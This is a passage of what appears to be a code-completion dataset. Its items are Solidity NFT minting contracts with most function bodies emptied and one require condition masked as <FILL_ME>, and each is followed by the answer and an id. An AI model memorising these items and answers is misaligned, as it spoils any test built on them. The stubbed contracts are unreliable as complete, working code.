function _baseURI() internal view virtual returns (string memory) {
}
function mint(uint256 _mintAmount) public nonReentrant{
require(<FILL_ME>)
require(_mintAmount > 0,"0" );
uint256 s = totalSupply();
require(s + _mintAmount <= maxSupply ,"Max" );
for (uint256 i = 0; i < _mintAmount; ++i) {
_safeMint(msg.sender, s + i, "");
}
delete s;
}
function mintWL(uint256 _mintAmount,bytes32[] calldata proof) public nonReentrant{
}
function gift(address[] calldata recipient) external onlyOwner{
}
function tokenURI(uint256 tokenId) public view virtual returns (string memory) {
}
function isWhitelisted(address account, bytes32[] calldata proof) public view returns (bool) {
}
function setWhitelistRoot(bytes32 _root) external onlyOwner {
}
function _leaf(address account) internal pure returns (bytes32) {
}
function _verify(bytes32 leaf,bytes32[] calldata proof,bytes32 root) internal pure returns (bool) {
}
function setMaxWL(uint256 _amount) external onlyOwner {
}
function setMaxMint(uint256 _amount) external onlyOwner {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
}
| balanceOf(msg.sender)+_mintAmount<=maxMint,"Limit" | 69,442 | balanceOf(msg.sender)+_mintAmount<=maxMint |
"Invalid" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
abstract contract ReentrancyGuard {
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
}
modifier nonReentrant() {
}
}
interface IERC721Receiver {
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
library Address {
function isContract(address account) internal view returns (bool) {
}
function sendValue(address payable recipient, uint256 amount) internal {
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
}
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
}
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
}
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
function toString(uint256 value) internal pure returns (string memory) {
}
function toHexString(uint256 value) internal pure returns (string memory) {
}
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
}
}
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
abstract contract ERC165 is IERC165 {
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
}
}
interface IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
function approve(address to, uint256 tokenId) external;
function getApproved(uint256 tokenId) external view returns (address operator);
function setApprovalForAll(address operator, bool _approved) external;
function isApprovedForAll(address owner, address operator) external view returns (bool);
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
interface IERC721Metadata is IERC721 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function tokenURI(uint256 tokenId) external view returns (string memory);
}
interface IERC721Enumerable is IERC721 {
function totalSupply() external view returns (uint256);
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
function tokenByIndex(uint256 index) external view returns (uint256);
}
library MerkleProof {
function verify(
bytes32[] memory proof,
bytes32 root,
bytes32 leaf
) internal pure returns (bool) {
}
function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) {
}
function _efficientHash(bytes32 a, bytes32 b) private pure returns (bytes32 value) {
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
function owner() public view virtual returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _setOwner(address newOwner) private {
}
}
abstract contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
string private _name;
string private _symbol;
address[] internal _owners;
mapping(uint256 => address) private _tokenApprovals;
mapping(address => mapping(address => bool)) private _operatorApprovals;
constructor(string memory name_, string memory symbol_) {
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
}
function balanceOf(address owner) public view virtual override returns (uint256) {
}
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function approve(address to, uint256 tokenId) public virtual override {
}
function getApproved(uint256 tokenId) public view virtual override returns (address) {
}
function setApprovalForAll(address operator, bool approved) public virtual override {
}
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
}
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
}
function _exists(uint256 tokenId) internal view virtual returns (bool) {
}
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
}
function _safeMint(address to, uint256 tokenId) internal virtual {
}
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
}
function _mint(address to, uint256 tokenId) internal virtual {
}
function _burn(uint256 tokenId) internal virtual {
}
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
}
function _approve(address to, uint256 tokenId) internal virtual {
}
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
abstract contract ERC721Enum is ERC721, IERC721Enumerable {
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
}
function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256 tokenId) {
}
function tokensOfOwner(address owner) public view returns (uint256[] memory) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
}
}
contract DOADS is ERC721Enum, Ownable, ReentrancyGuard {
using Strings for uint256;
//sale settings
uint256 public maxWL;
uint256 public maxMint;
bytes32 public whitelistRoot;
uint256 public maxSupply = 6969;
string public baseURI = "https://api.doads.io/doads/content/metadata/";
constructor() ERC721("DoadNFT", "DOAD"){
}
function _baseURI() internal view virtual returns (string memory) {
}
function mint(uint256 _mintAmount) public nonReentrant{
}
function mintWL(uint256 _mintAmount,bytes32[] calldata proof) public nonReentrant{
require(<FILL_ME>)
require(balanceOf(msg.sender) + _mintAmount <= maxWL, "Limit");
require(_mintAmount > 0,"0" );
uint256 s = totalSupply();
require(s + _mintAmount <= maxSupply ,"Max" );
for (uint256 i = 0; i < _mintAmount; ++i) {
_safeMint(msg.sender, s + i, "");
}
delete s;
}
function gift(address[] calldata recipient) external onlyOwner{
}
function tokenURI(uint256 tokenId) public view virtual returns (string memory) {
}
function isWhitelisted(address account, bytes32[] calldata proof) public view returns (bool) {
}
function setWhitelistRoot(bytes32 _root) external onlyOwner {
}
function _leaf(address account) internal pure returns (bytes32) {
}
function _verify(bytes32 leaf,bytes32[] calldata proof,bytes32 root) internal pure returns (bool) {
}
function setMaxWL(uint256 _amount) external onlyOwner {
}
function setMaxMint(uint256 _amount) external onlyOwner {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
}
| isWhitelisted(msg.sender,proof),"Invalid" | 69,442 | isWhitelisted(msg.sender,proof) |
"Limit" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
abstract contract ReentrancyGuard {
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
}
modifier nonReentrant() {
}
}
interface IERC721Receiver {
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
library Address {
function isContract(address account) internal view returns (bool) {
}
function sendValue(address payable recipient, uint256 amount) internal {
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
}
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
}
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
}
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
function toString(uint256 value) internal pure returns (string memory) {
}
function toHexString(uint256 value) internal pure returns (string memory) {
}
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
}
}
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
abstract contract ERC165 is IERC165 {
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
}
}
interface IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
function approve(address to, uint256 tokenId) external;
function getApproved(uint256 tokenId) external view returns (address operator);
function setApprovalForAll(address operator, bool _approved) external;
function isApprovedForAll(address owner, address operator) external view returns (bool);
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
interface IERC721Metadata is IERC721 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function tokenURI(uint256 tokenId) external view returns (string memory);
}
interface IERC721Enumerable is IERC721 {
function totalSupply() external view returns (uint256);
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
function tokenByIndex(uint256 index) external view returns (uint256);
}
library MerkleProof {
function verify(
bytes32[] memory proof,
bytes32 root,
bytes32 leaf
) internal pure returns (bool) {
}
function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) {
}
function _efficientHash(bytes32 a, bytes32 b) private pure returns (bytes32 value) {
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
function owner() public view virtual returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _setOwner(address newOwner) private {
}
}
abstract contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
string private _name;
string private _symbol;
address[] internal _owners;
mapping(uint256 => address) private _tokenApprovals;
mapping(address => mapping(address => bool)) private _operatorApprovals;
constructor(string memory name_, string memory symbol_) {
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
}
function balanceOf(address owner) public view virtual override returns (uint256) {
}
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function approve(address to, uint256 tokenId) public virtual override {
}
function getApproved(uint256 tokenId) public view virtual override returns (address) {
}
function setApprovalForAll(address operator, bool approved) public virtual override {
}
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
}
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
}
function _exists(uint256 tokenId) internal view virtual returns (bool) {
}
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
}
function _safeMint(address to, uint256 tokenId) internal virtual {
}
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
}
function _mint(address to, uint256 tokenId) internal virtual {
}
function _burn(uint256 tokenId) internal virtual {
}
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
}
function _approve(address to, uint256 tokenId) internal virtual {
}
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
abstract contract ERC721Enum is ERC721, IERC721Enumerable {
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
}
function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256 tokenId) {
}
function tokensOfOwner(address owner) public view returns (uint256[] memory) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
}
}
contract DOADS is ERC721Enum, Ownable, ReentrancyGuard {
using Strings for uint256;
//sale settings
uint256 public maxWL;
uint256 public maxMint;
bytes32 public whitelistRoot;
uint256 public maxSupply = 6969;
string public baseURI = "https://api.doads.io/doads/content/metadata/";
constructor() ERC721("DoadNFT", "DOAD"){
}
function _baseURI() internal view virtual returns (string memory) {
}
function mint(uint256 _mintAmount) public nonReentrant{
}
function mintWL(uint256 _mintAmount,bytes32[] calldata proof) public nonReentrant{
require(isWhitelisted(msg.sender, proof), "Invalid");
require(<FILL_ME>)
require(_mintAmount > 0,"0" );
uint256 s = totalSupply();
require(s + _mintAmount <= maxSupply ,"Max" );
for (uint256 i = 0; i < _mintAmount; ++i) {
_safeMint(msg.sender, s + i, "");
}
delete s;
}
function gift(address[] calldata recipient) external onlyOwner{
}
function tokenURI(uint256 tokenId) public view virtual returns (string memory) {
}
function isWhitelisted(address account, bytes32[] calldata proof) public view returns (bool) {
}
function setWhitelistRoot(bytes32 _root) external onlyOwner {
}
function _leaf(address account) internal pure returns (bytes32) {
}
function _verify(bytes32 leaf,bytes32[] calldata proof,bytes32 root) internal pure returns (bool) {
}
function setMaxWL(uint256 _amount) external onlyOwner {
}
function setMaxMint(uint256 _amount) external onlyOwner {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
}
| balanceOf(msg.sender)+_mintAmount<=maxWL,"Limit" | 69,442 | balanceOf(msg.sender)+_mintAmount<=maxWL |
"Too many" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
abstract contract ReentrancyGuard {
uint256 private constant _NOT_ENTERED = 1;
uint256 private constant _ENTERED = 2;
uint256 private _status;
constructor() {
}
modifier nonReentrant() {
}
}
interface IERC721Receiver {
function onERC721Received(
address operator,
address from,
uint256 tokenId,
bytes calldata data
) external returns (bytes4);
}
library Address {
function isContract(address account) internal view returns (bool) {
}
function sendValue(address payable recipient, uint256 amount) internal {
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
}
function functionStaticCall(
address target,
bytes memory data,
string memory errorMessage
) internal view returns (bytes memory) {
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
}
function functionDelegateCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
}
function verifyCallResult(
bool success,
bytes memory returndata,
string memory errorMessage
) internal pure returns (bytes memory) {
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
function _msgData() internal view virtual returns (bytes calldata) {
}
}
library Strings {
bytes16 private constant _HEX_SYMBOLS = "0123456789abcdef";
function toString(uint256 value) internal pure returns (string memory) {
}
function toHexString(uint256 value) internal pure returns (string memory) {
}
function toHexString(uint256 value, uint256 length) internal pure returns (string memory) {
}
}
interface IERC165 {
function supportsInterface(bytes4 interfaceId) external view returns (bool);
}
abstract contract ERC165 is IERC165 {
function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) {
}
}
interface IERC721 is IERC165 {
event Transfer(address indexed from, address indexed to, uint256 indexed tokenId);
event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId);
event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
function balanceOf(address owner) external view returns (uint256 balance);
function ownerOf(uint256 tokenId) external view returns (address owner);
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) external;
function transferFrom(
address from,
address to,
uint256 tokenId
) external;
function approve(address to, uint256 tokenId) external;
function getApproved(uint256 tokenId) external view returns (address operator);
function setApprovalForAll(address operator, bool _approved) external;
function isApprovedForAll(address owner, address operator) external view returns (bool);
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes calldata data
) external;
}
interface IERC721Metadata is IERC721 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function tokenURI(uint256 tokenId) external view returns (string memory);
}
interface IERC721Enumerable is IERC721 {
function totalSupply() external view returns (uint256);
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
function tokenByIndex(uint256 index) external view returns (uint256);
}
library MerkleProof {
function verify(
bytes32[] memory proof,
bytes32 root,
bytes32 leaf
) internal pure returns (bool) {
}
function processProof(bytes32[] memory proof, bytes32 leaf) internal pure returns (bytes32) {
}
function _efficientHash(bytes32 a, bytes32 b) private pure returns (bytes32 value) {
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
function owner() public view virtual returns (address) {
}
modifier onlyOwner() {
}
function renounceOwnership() public virtual onlyOwner {
}
function transferOwnership(address newOwner) public virtual onlyOwner {
}
function _setOwner(address newOwner) private {
}
}
abstract contract ERC721 is Context, ERC165, IERC721, IERC721Metadata {
using Address for address;
string private _name;
string private _symbol;
address[] internal _owners;
mapping(uint256 => address) private _tokenApprovals;
mapping(address => mapping(address => bool)) private _operatorApprovals;
constructor(string memory name_, string memory symbol_) {
}
function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) {
}
function balanceOf(address owner) public view virtual override returns (uint256) {
}
function ownerOf(uint256 tokenId) public view virtual override returns (address) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function approve(address to, uint256 tokenId) public virtual override {
}
function getApproved(uint256 tokenId) public view virtual override returns (address) {
}
function setApprovalForAll(address operator, bool approved) public virtual override {
}
function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) {
}
function transferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId
) public virtual override {
}
function safeTransferFrom(
address from,
address to,
uint256 tokenId,
bytes memory _data
) public virtual override {
}
function _safeTransfer(
address from,
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
}
function _exists(uint256 tokenId) internal view virtual returns (bool) {
}
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
}
function _safeMint(address to, uint256 tokenId) internal virtual {
}
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
}
function _mint(address to, uint256 tokenId) internal virtual {
}
function _burn(uint256 tokenId) internal virtual {
}
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
}
function _approve(address to, uint256 tokenId) internal virtual {
}
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
}
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
abstract contract ERC721Enum is ERC721, IERC721Enumerable {
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
}
function tokenOfOwnerByIndex(address owner, uint256 index) public view override returns (uint256 tokenId) {
}
function tokensOfOwner(address owner) public view returns (uint256[] memory) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
}
}
contract DOADS is ERC721Enum, Ownable, ReentrancyGuard {
using Strings for uint256;
//sale settings
uint256 public maxWL;
uint256 public maxMint;
bytes32 public whitelistRoot;
uint256 public maxSupply = 6969;
string public baseURI = "https://api.doads.io/doads/content/metadata/";
constructor() ERC721("DoadNFT", "DOAD"){
}
function _baseURI() internal view virtual returns (string memory) {
}
function mint(uint256 _mintAmount) public nonReentrant{
}
function mintWL(uint256 _mintAmount,bytes32[] calldata proof) public nonReentrant{
}
function gift(address[] calldata recipient) external onlyOwner{
uint256 s = totalSupply();
require(<FILL_ME>)
for(uint i = 0; i < recipient.length; ++i){
_safeMint(recipient[i], s++, "" );
}
delete s;
}
function tokenURI(uint256 tokenId) public view virtual returns (string memory) {
}
function isWhitelisted(address account, bytes32[] calldata proof) public view returns (bool) {
}
function setWhitelistRoot(bytes32 _root) external onlyOwner {
}
function _leaf(address account) internal pure returns (bytes32) {
}
function _verify(bytes32 leaf,bytes32[] calldata proof,bytes32 root) internal pure returns (bool) {
}
function setMaxWL(uint256 _amount) external onlyOwner {
}
function setMaxMint(uint256 _amount) external onlyOwner {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
}
| s+recipient.length<=maxSupply,"Too many" | 69,442 | s+recipient.length<=maxSupply |
"BGBB: Max supply minted" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
/// @title Burn Ghost Bounty Box
/// @notice This is Burn Ghost's Bounty Box ERC721 NFT contract
/// @dev This contract uses OpenZeppelin's library and includes OpenSea's on-chain enforcement tool for royalties
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
contract BurnGhostBountyBox is ERC721, Ownable {
/// @notice The base uri of the project
string public baseURI;
/// @notice The collection's max supply
uint256 public maxSupply = 1000;
/// @notice Total reserved by the Burn Ghost team
uint256 public reserved;
/// @notice Total guaranteed mint count
uint256 public guaranteed;
/// @dev Merkle tree root hash for guaranteed list
bytes32 private rootForGuaranteed;
/// @dev Merkle tree root hash for allowed list
bytes32 private rootForOversubscribed;
/// @dev Mapping to check if an address has already minted to avoid double mints on allow list mints
mapping(address => bool) mintedOnGuaranteed;
mapping(address => bool) mintedOnOversubscribed;
/// @dev Counters library to track token id and counts
using Counters for Counters.Counter;
Counters.Counter private _tokenIdCounter;
Counters.Counter private _guaranteedAllowListMintedCounter;
Counters.Counter private _oversubscribedAllowListMintedCounter;
/// @dev Different states of minting
enum MintState {
PAUSED, // Minting is paused
GUARANTEED, // Guaranteed allow list
OVERSUBSCRIBED, // General allow list
PUBLIC, // Open to public
REVEALED
}
MintState public mintState;
/// @notice Event emitted when a bounty box is burnt/redeemed
event BountyBoxRedeemed(address indexed ownerAddress, uint256 indexed tokenId);
/// @notice Event emitted when a bounty box is burnt/redeemed
event BountyBoxBatchRedeemed(address indexed ownerAddress, uint256 indexed redeemedCount, uint256[] tokenId);
constructor(string memory uri) ERC721("Burn Ghost Bounty Box", "BGBB") {
}
/// Base uri functions
///@notice Returns the base uri
///@return Base uri
function _baseURI() internal view override returns (string memory) {
}
///@notice Sets a new base uri
///@dev Only callable by owner
///@param newBaseURI The new base uri
function setBaseURI(string memory newBaseURI) external onlyOwner {
}
///@notice Returns the token uri
///@dev Updated to include json
///@param tokenId Token id
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
}
/// Minting functions
///@notice Mints box token for allowed list addresses
///@dev Uses Merkle tree proof
///@param proof The Merkle tree proof of the allow list address
function mintBox(bytes32[] calldata proof) external {
/// Check if the sale is paused
require(mintState == MintState.GUARANTEED || mintState == MintState.OVERSUBSCRIBED, "BGBB: Not in allowlist minting states");
require(<FILL_ME>)
/// Check if user is on the allow list
bytes32 leaf = keccak256(bytes.concat(keccak256(abi.encode(_msgSender()))));
/// Update the root based on the state
bytes32 root;
// If current state is for guaranteed mints, set to the guaranteed hash
if (mintState == MintState.GUARANTEED) {
/// Set the correct root hash
root = rootForGuaranteed;
/// Check that user has not minted on guaranteed list
require(mintedOnGuaranteed[_msgSender()] == false, "BGBB: User already minted on guaranteed list");
// Check there is sufficient guaranteed mint supply left
require(totalGuaranteedAllowListMinted() < guaranteed, "BGBB: Max guaranteed supply minted");
/// Increase the allow list minted count
_guaranteedAllowListMintedCounter.increment();
/// Set that address has minted
mintedOnGuaranteed[_msgSender()] = true;
}
// If current state is for oversubscribed, set to the oversubscribed hash
if (mintState == MintState.OVERSUBSCRIBED) {
/// Set the correct root hash
root = rootForOversubscribed;
/// Check that user has not minted on oversubscribed list
require(mintedOnOversubscribed[_msgSender()] == false, "BGBB: User already minted on oversubscribed list");
/// Check there is sufficient oversubscribed supply left
/// Balance for oversubscribed mint = max supply minus reserved and guaranteed count
require(totalOversubscribedAllowListMinted() < maxSupply - reserved - guaranteed, "BGBB: Max allow list supply minted");
_oversubscribedAllowListMintedCounter.increment();
/// Set that address has minted
mintedOnOversubscribed[_msgSender()] = true;
}
// Check the merkle proof
require(MerkleProof.verify(proof, root, leaf), "BGBB: Invalid proof");
/// Get current token id then increase it
uint256 tokenId = _tokenIdCounter.current();
_tokenIdCounter.increment();
/// Mint the token
_safeMint(_msgSender(), tokenId);
}
///@notice Mints a token to caller addresses
function publicMintBox() external {
}
///@notice Redeem a bounty box
///@param tokenId Token id of bounty box to redeem
function redeem(uint256 tokenId) external virtual {
}
///@notice Redeem a batch of bounty boxes
///@param tokenIds Token ids of bounty box to redeem
function batchRedeem(uint256[] memory tokenIds) external virtual {
}
///@notice Mint from reserve supply
///@dev Only callable by owner
///@param to Array of addresses to receive airdrop
function mintFromReserve(address[] calldata to) external onlyOwner {
}
///@notice Airdrops a token to users from the remaining supply (without reserved supply)
///@dev Only callable by owner
///@param to Array of addresses to receive airdrop
function airdrop(address[] calldata to) external onlyOwner {
}
/// Other view and admin functions
/// Verification functions
///@notice Returns the current Merkle tree root hash based on a given state
///@dev Only callable by owner
///@param _mintState The state of the mint to query the root hash for
function getRootHash(MintState _mintState) external view onlyOwner returns(bytes32) {
}
///@notice Sets a new Merkle tree root hash
///@dev Only callable by owner
///@param _root The new merkle tree root hash
///@param _mintState The state of the mint to set the root hash for
function setRootHash(bytes32 _root, MintState _mintState) external onlyOwner {
}
///@notice Returns the total number of boxes minted
function totalMinted() public view returns(uint256) {
}
///@notice Returns the current number of guaranteed allow list minted
function totalGuaranteedAllowListMinted() public view returns(uint256) {
}
///@notice Returns the current number of oversubscribed allow list minted
function totalOversubscribedAllowListMinted() public view returns(uint256) {
}
///@notice Returns the total allow list minted
function totalAllowListMinted() public view returns(uint256) {
}
///@notice Function to update the reveal flag
///@param newState The new mint state to set
function setMintState(MintState newState) external onlyOwner{
}
///@notice Function to update guaranteed mint count
///@param count New guaranteed mint count
function setGuaranteedCount(uint256 count) external onlyOwner {
}
///@notice Function to update reserved mint count
///@param count New reserved mint count
function setReservedCount(uint256 count) external onlyOwner {
}
///@dev Overrides for DefaultOperatorRegistry
function setApprovalForAll(address operator, bool approved) public override(ERC721) {
}
function approve(address operator, uint256 tokenId) public override(ERC721) {
}
function transferFrom(address from, address to, uint256 tokenId) public override(ERC721) {
}
function safeTransferFrom(address from, address to, uint256 tokenId) public override(ERC721) {
}
function safeTransferFrom(address from, address to, uint256 tokenId, bytes memory data)
public
override(ERC721)
{
}
}
| _tokenIdCounter.current()<maxSupply,"BGBB: Max supply minted" | 69,478 | _tokenIdCounter.current()<maxSupply |
"BGBB: User already minted on guaranteed list" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.17;
/// @title Burn Ghost Bounty Box
/// @notice This is Burn Ghost's Bounty Box ERC721 NFT contract
/// @dev This contract uses OpenZeppelin's library and includes OpenSea's on-chain enforcement tool for royalties
import "@openzeppelin/contracts/token/ERC721/ERC721.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
import "@openzeppelin/contracts/utils/Counters.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
contract BurnGhostBountyBox is ERC721, Ownable {
/// @notice The base uri of the project
string public baseURI;
/// @notice The collection's max supply
uint256 public maxSupply = 1000;
/// @notice Total reserved by the Burn Ghost team
uint256 public reserved;
/// @notice Total guaranteed mint count
uint256 public guaranteed;
/// @dev Merkle tree root hash for guaranteed list
bytes32 private rootForGuaranteed;
/// @dev Merkle tree root hash for allowed list
bytes32 private rootForOversubscribed;
/// @dev Mapping to check if an address has already minted to avoid double mints on allow list mints
mapping(address => bool) mintedOnGuaranteed;
mapping(address => bool) mintedOnOversubscribed;
/// @dev Counters library to track token id and counts
using Counters for Counters.Counter;
